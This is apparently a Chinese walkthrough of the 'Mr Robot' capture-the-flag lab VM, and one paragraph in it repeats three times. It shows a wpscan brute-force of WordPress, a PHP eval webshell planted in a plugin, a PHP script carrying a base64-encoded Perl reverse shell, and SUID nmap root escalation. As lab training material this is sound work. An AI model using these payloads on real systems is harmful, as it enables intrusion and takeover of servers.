黑客技能训练:攻破MrRobot

今天挑战的是Mr Robot。

首先在Nmap扫描之前提一个小技巧。

PPPOE宽带拨号环境下nmap不能直接使用,需要提升权限,要使用-e 参数加上网卡设备名

当前我使用的是无线宽带,通过无线网卡实现通信。

Ipconfig获取我的IP地址

用 nmap –iflist 命令查看网卡接口,相对应的我的网卡是eth6

nmap -sT -p - -T5 -A -v -e eth6192.168.56.101

如果在win使用nmap出现这个状况的朋友记得用这个方法,或者你电脑配置够高的话,用虚拟机搭建个kali就ok了,没有这么多问题。

我们在kali下用nmap对我们的环境进行探测。

发现其开放了三个端口。

用浏览器打开target

搭建完环境后在浏览器打开,就被嫌弃浏览器版本过低了。。

应该是要用google内核的浏览器。换成google浏览器试试~~~

有趣的界面。

不过既然有漏洞就不可能只是这个静态的页面。

习惯性的查看有没有robots.txt文件。

以及右键查看下源代码,这可以很好的帮助你判断这个网站的指纹,是什么cms,用什么脚本语言写的,web容器所处的环境等等。。

发现了

不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。

看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。

不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。

看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。

不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。

看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。

继续输入robots.txt,

发现了这两个文件,key?密码?flag?

访问http://192.168.56.101/key-1-of-3.txt

访问http://192.168.56.101/fsocity.dic

这个应该是个字典,那么我们这时候是不是可以尝试一波了后台破解了?

访问wordpress默认的后台:http://192.168.56.101/wp-login.php

有了,将刚刚的字典下载下来破解。

但是用户名呢?手工尝试看看,发现不存在admin、MrRobot (这个训练平台的名字)

到了这一步,我觉得应该是我信息收集得不够。我继续在前面的页面翻。

后面看了好久,英文不咋的。才知道他要传递的信息

根据他提供的故事发现这个人名:https://en.wikipedia.org/wiki/Elliot在维基百科里面有。

这里用户名填:elliot,密码随意。发现只提示密码错误了。

可以开始爆破了。

下载了一波,可以了。

接着用,wpscan

ruby wpscan.rb -u 192.168.56.101 --threads20 --wordlist ~ /Desktop/fsocity.dic --username Elliot或者(看个人环境而定)

wpscan -u 192.168.56.101 --threads 20--wordlist ~ /Desktop/fsocity.dic --username Elliot

80多w的字典,出去撸了一晚上了跑了50多万。我觉得作为一名ctf赛棍有的觉悟必须要从字典的后半部分开始跑。

果然,我复制了后面的几百条,一跑。。

5秒,密码:ER28-0652

进入后台,getshell就不用kali了,用起来国产菜刀。

通过安装插件出上传打包木马的zip文件getshell

安装失败,那么就插件、已安装的插件、编辑插入一句话木马

我们选择这个插件:all_in_one_seo_pack

备份原来的内容,换成<?php eval($_POST['vaf']);?>

shell相对地址/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.php

尼玛~~

然后上传自己的后门,恢复原来的插件代码,别问ctf为何也要这样,习惯成自然~。

翻目录看到

说明我们这个只是apache用户的权限,robot用户的部分权限。

果然…看下图

我们下载password.raw-md5这个文件,里面的内容是:robot:c3fcd3d76192e4007dfb496cca67e13b

并解密md5得:

abcdefghijklmnopqrstuvwxyz

这时候是时候寄出我的netcat大杀器了。

本地监听666端口:

在webshell执行以下php脚本。将数据转发至本机。

<?php

function which($pr) {

$path = execute("which $pr");

return ($path ? $path : $pr);

}

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

} elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('system')) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f =@popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,'w')) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}

$yourip = "192.168.56.101 ";

$yourport = '6688';

$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);

$res = execute(which('perl')."/tmp/.bc $yourip $yourport &");

?>

发现无法接受,原来是我连接无线宽带转发不过来,因为不同的网卡,物理机充当网桥连接。

我用kali接收..,因为kali与渗透机器同一网卡,可以通讯。

开了尴尬的是我出去了一趟把虚拟机关了,回来发现ip变了。不过没事。Target变成了192.168.56.102。

我们反弹回来一个半交互的shell

我们切换到robot用户,这个用户的权限比较小,只是robot的一部分权限。

输入命令:python -c 'import pty; pty.spawn("/bin/sh")'

这样获得一个完整的交互式shell

密码是a~z。

接下来也是提权的问题了,因为我们的key3在root目录里面。

Uname –a 获取内核,但是我尝试所有的exp都失败了。

那么这里我们提出一个新的提权思路。

说到这个还是要回归Linux文件权限的问题。Linux除了文件的九个基本权限-rwxrwxrwx,还有文件的特殊权限。就是SUID和SGID以及SBIT。

大致解释一下他们的定义:

SUID含义:文件的该位被设置为1,在该文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来

执行这个文件,他都有文件所有者的特权,如果所有者是root的话,那么执行人就有超级用户

的特权了,这是该位将变成一个安全漏洞,因此不要轻易设置该位。

SGID含义:运行者将具有文件所有组的权限。

SBIT含义: 要求操作系统既是在可执行程序退出后,仍要在内存中保留该程序的映像,这样做是为了节省大

型程序的启动时间,但是会占用系统资源,因此设置该位,不如把程序写好

所以我们就是利用SUID的权限漏洞。

find / -perm -u=s -type f 2>/dev/null

这条命令是查找所有用户有SUID权限的普通文件

找到以上文件。

发现了nmap,低版本的nmap支持“interactive.”选项,用户能够通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们使用nmap命令被记录在history文件中

我们拿到了这个交互的shell了。

Ok,因为nmap有SUID位,所以通过“!sh”我们会获取到一个root权限的shell

”!sh“就是代码由bash shell解释。

已经是root权限了。

下来就是读取flag了。

原文发布于微信公众号 - 晨星先生(MoXuanIT)

原文发表时间:2016-11-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏月色的自留地

在龙芯小本上安装Debain8.10

2364
来自专栏魏艾斯博客www.vpsss.net

FTP 软件使用教程

4555
来自专栏农夫安全

【原创】中间件测试方法总结---(3)

0x01 应用测试 对于类似4A、BOP这样的应用,需要进行记录,并按照常规的渗透办法进行安全测试。【必要时候,需要进行登录测试】 其他应用测试 发现办法 协议...

4707
来自专栏Golang语言社区

【Go 语言社区】linux常用网络服务端口一览表及详细分析

端口号码 / 层 名称 注释 1 tcpmux TCP 端口服务多路复用 5 rje 远程作业入口 7 echo Echo 服...

4177
来自专栏小白安全

web渗透思路及总结

(一)针对网站程序,不考虑服务器。 一、查找注入,注意数据库用户权限和站库是否同服。 二、查找XSS,最近盲打很流行,不管怎样我们的目的是进入后台。...

8227
来自专栏月色的自留地

在龙芯小本上安装Debain8.10

2406
来自专栏FreeBuf

安全运维之如何找到隐匿于last和w命令中的ssh登录痕迹

*本文原创作者:ForrestX386,本文属FreeBuf原创奖励计划,未经许可禁止转载

1132
来自专栏知识分享

邪恶改装:TPYBoard制作廉价WIFI干扰器

转载请注明:@小五义http://www.cnblogs.com/xiaowuyi

2067
来自专栏逸鹏说道

某厂2016实习招聘安全技术试题答案及解析

0×00 前言 鉴于曾经做过某厂招聘-安全技术笔试题目,故留此一记,以作怀念。 此外,网上也有公布的相关的答案,但是其中有些题目稍有错误或者解释不全,当然我也有...

1.4K4
来自专栏互联网杂技

HTTP,HTTP2.0,SPDY,HTTPS你应该知道的一些事

作为一个经常和web打交道的程序员,了解这些协议是必须的,本文就向大家介绍一下这些协议的区别和基本概念,文中可能不局限于前端知识,还包括一些运维,协议方面的知识...

57011

扫码关注云+社区

领取腾讯云代金券